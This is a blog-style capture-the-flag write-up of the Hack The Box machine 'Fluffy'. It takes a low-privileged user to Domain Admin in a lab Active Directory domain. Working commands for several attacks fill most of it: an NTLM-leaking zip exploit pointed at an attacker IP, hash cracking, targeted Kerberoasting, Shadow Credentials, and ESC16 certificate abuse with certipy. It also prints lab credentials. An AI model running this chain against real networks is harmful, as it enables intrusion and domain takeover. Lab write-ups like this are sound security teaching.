Post

From normal user to domain admin with exploiting Kerberos and ESC16

Posted Updated
By Kevin Bateman
8 min read
From normal user to domain admin with exploiting Kerberos and ESC16

Fluffy - Writeup

Target: 10.129.232.88 Domain: fluffy.htb DC: DC01

Recon

As always, i start our target scan with rustscan

1

rustscan -a 10.129.232.88 --ulimit 5000

Open ports: 53, 88, 139, 389, 445, 464, 593, 636, 9389, dynamic RPC.

Just afterwards, i hand every discovered port to our friend nmap

1

nmap -sT -A -Pn -T5 -p 53,88,139,389,445,464,593,636,9389,49668,49693,49694,49700,49713,49726,49760 10.129.232.88

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

 

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-10-30 02:54:57Z)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-10-30T02:56:06+00:00; +6h00m04s from scanner time.
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Not valid before: 2026-04-30T16:09:59
|_Not valid after:  2106-04-30T16:09:59
445/tcp   open  microsoft-ds?
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_rpc-grind: ERROR: Script execution failed (use -d to debug)
464/tcp   open  kpasswd5?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpc-grind: ERROR: Script execution failed (use -d to debug)
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb, Site: Default-First-Site-Name)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.fluffy.htb, DNS:fluffy.htb, DNS:FLUFFY
| Not valid before: 2026-04-30T16:09:59
|_Not valid after:  2106-04-30T16:09:59
|_ssl-date: 2026-10-30T02:56:07+00:00; +6h00m04s from scanner time.
WINrm
9389/tcp  open  mc-nmf        .NET Message Framing
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
49668/tcp open  msrpc         Microsoft Windows RPC
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
49693/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49694/tcp open  msrpc         Microsoft Windows RPC
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49700/tcp open  msrpc         Microsoft Windows RPC
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
49713/tcp open  msrpc         Microsoft Windows RPC
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49726/tcp open  msrpc         Microsoft Windows RPC
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
|_vmware-version: ERROR: Script execution failed (use -d to debug)
49760/tcp open  msrpc         Microsoft Windows RPC
|_vmware-version: ERROR: Script execution failed (use -d to debug)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-10-30T02:55:49
|_  start_date: N/A
|_clock-skew: mean: 6h00m03s, deviation: 0s, median: 6h00m03s
| smb2-security-mode: axfr
|   3.1.1: 
|_    Message signing enabled and required

AD domain confirmed: fluffy.htb, DC DC01.

Initial access

Provided credentials: j.fleischman / J0elTHEM4n1990!

1

nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

Available shares: IT (READ,WRITE), NETLOGON, SYSVOL.

we use the spider_plus module on netexec to download every sharable folder

1

nxc smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' -M spider_plus -o DOWNLOAD_FLAG=True

Found a KeePass 2.58 install on the IT share, which is vulnerable to CVE-2023-24055,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

❯ cat KeePass.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<startup useLegacyV2RuntimeActivationPolicy="true">
		<supportedRuntime version="v4.0" />
		<supportedRuntime version="v2.0.50727" />
	</startup>
	<runtime>
		<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
			<dependentAssembly>
				<assemblyIdentity name="KeePass"
					publicKeyToken="fed2ed7716aecf5c"
					culture="neutral" />
				<bindingRedirect oldVersion="2.0.9.0-2.57.127.127"
					newVersion="2.58.0.0" />
			</dependentAssembly>
		</assemblyBinding>
		<enforceFIPSPolicy enabled="false" />
		<loadFromRemoteSources enabled="true" />
	</runtime>
	<appSettings>
		<add key="EnableWindowsFormsHighDpiAutoResizing" value="true" />
	</appSettings>
</configuration>

eventually i found out it is a rabbit hole.

I used netexec to enumerate every user using –users flag, cleared the output and attempted an AS-REP roasting attack:

1
2
3
4
5
6
7
8
9
10
11
12

❯ GetNPUsers.py fluffy.htb/j.fleischman0:'J0elTHEM4n1990!' -usersfile clear_users.txt  -dc-ip 10.129.232.88
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Guest doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ca_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User p.agila doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.coffey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.fleischman doesn't have UF_DONT_REQUIRE_PREAUTH

Not the right road, let’s move forward.

After carefully inspecting the available shares, we found a pdf inside one of those folder, which was a vulnerability assessment scan made from some of the internal analyst, exposing the host was vulnerable to (CVE-2025-24071)[https://nvd.nist.gov/vuln/detail/CVE-2025-24071] image

CVE-2025-24071 - NTLM leak via file explorer

(Link to the exploit)[https://github.com/ThemeHackers/CVE-2025-24071/blob/main/exploit.py]

After uploaded a malicious zip that forces SMB authentication to a controlled host when extracted.

1

python3 exploit.py -f evil.zip --ip-address 10.10.14.170

we used responder and captured the NTLMv2-SSP hash for user p.agila:

1
2

[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : <REDACTED>

Cracked with hashcat (mode 5600):

1

hashcat -a 0 -m 5600 hash.txt rockyou.txt

Password found: prometheuXXXXXX

LDAP enumeration via Kerberos

NTLM auth on LDAP failed. I fixed using a Kerberos ticket instead:

1

kinit p.agila@FLUFFY.HTB

Domain enumeration:

1

rusthound --domain fluffy.htb -f dc01.fluffy.htb -i 10.129.232.88 -k

From BloodHound: p.agila has rights to add itself to the SERVICE ACCOUNTS group.

image

Exploiting..

1

net rpc group addmem "SERVICE ACCOUNTS" "P.AGILA" -U "FLUFFY.HTB"/"p.agila"%"prometheusx-303" -S "dc01.fluffy.htb"

image The service account was a group that had generic write access to 3 users, we targetted the winrm_svc account to get access via WINRM.

Therefore, we were able to do some kerberoasting

Targeted Kerberoasting

1

targetedKerberoast.py -v -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303'

Got a TGS for winrm_svc. Hashcat cracking (mode 13100) against rockyou failed, leading to the Shadow Credentials pivot instead.

Shadow Credentials on winrm_svc

p.agila is in a group with GenericWrite over winrm_svc.

we used pywhisker to generate a pfx certificate and be able to request a TGT.

1

pywhisker.py -d "fluffy.htb" -u "p.agila" -p "prometheuXXXX" --target "winrm_svc" --action "add"

Generated a PFX certificate. We requested a TGT via PKINIT:

1

gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "<PFX_PASS>" -dc-ip 10.129.232.88 "fluffy.htb/winrm_svc" "winrm_svc.ccache"

Recovered the NT hash from the AS-REP key:

1
2

export KRB5CCNAME=winrm_svc.ccache
getnthash.py -key "<AS_REP_KEY found  using pywisker>" -dc-ip 10.129.232.88 "fluffy.htb/winrm_svc"

NT hash of winrm_svc obtained .

1

evil-winrm -i dc01.fluffy.htb -u winrm_svc -H "<REDACTED>"

Shell access as winrm_svc.

Enumerating with bloodhound, we found out this:

image

Shadow Credentials on ca_svc

winrm_svc has GenericWrite over ca_svc (the CA service account).

1

pywhisker.py -d "fluffy.htb" -u "winrm_svc" -H "<REDACTED>" --target "ca_svc" --action "add"

Same chain: PKINIT, then recover the NT hash of ca_svc:

1
2
3

gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "<PFX_PASS>" -dc-ip fluffy.htb "fluffy.htb/ca_svc" "ca_svc.ccache"
export KRB5CCNAME=ca_svc.ccache
getnthash.py -key "<AS_REP_KEY>" -dc-ip 10.129.93.244 "fluffy.htb/ca_svc"

NT hash of ca_svc obtained.

ADCS - ESC16

1

certipy find -vulnerable -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244

CA fluffy-DC01-CA is vulnerable to ESC16 (security extension disabled, Disabled Extensions: 1.3.6.1.4.1.311.25.2). ca_svc has enrollment rights through the Cert Publishers group.

Exploit

Temporarily change the UPN of ca_svc to the target’s:

1

certipy account update -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244 -user 'ca_svc' -upn 'administrator@fluffy.htb'

Request a certificate with the User template:

1

certipy req -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244 -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User

Certificate obtained with SAN UPN administrator@fluffy.htb.

Restore the original UPN of ca_svc:

1

certipy account update -u 'ca_svc@fluffy.htb' -hashes '<REDACTED>' -dc-ip 10.129.93.244 -user 'ca_svc' -upn 'ca_svc@fluffy.htb'

Authenticate with the certificate:

1

certipy auth -pfx administrator.pfx -dc-ip 10.129.93.244 -domain fluffy.htb

TGT and NT hash of administrator obtained.

Domain Admin

1

evil-winrm -i dc01.fluffy.htb -u administrator -H "<REDACTED>"

Access as Administrator.

Chain summary

  1. SMB write on IT share, CVE-2025-24071 to leak p.agila NTLMv2 hash
  2. Crack hash, LDAP access via Kerberos
  3. Abuse group membership permission into SERVICE ACCOUNTS
  4. Shadow Credentials: p.agila -> winrm_svc -> ca_svc
  5. ESC16 on fluffy-DC01-CA: UPN spoofing toward administrator
  6. Administrator NT hash, Domain Admin
CTF, hacking
CTF HTB Hacking
This post is licensed under CC BY 4.0 by the author.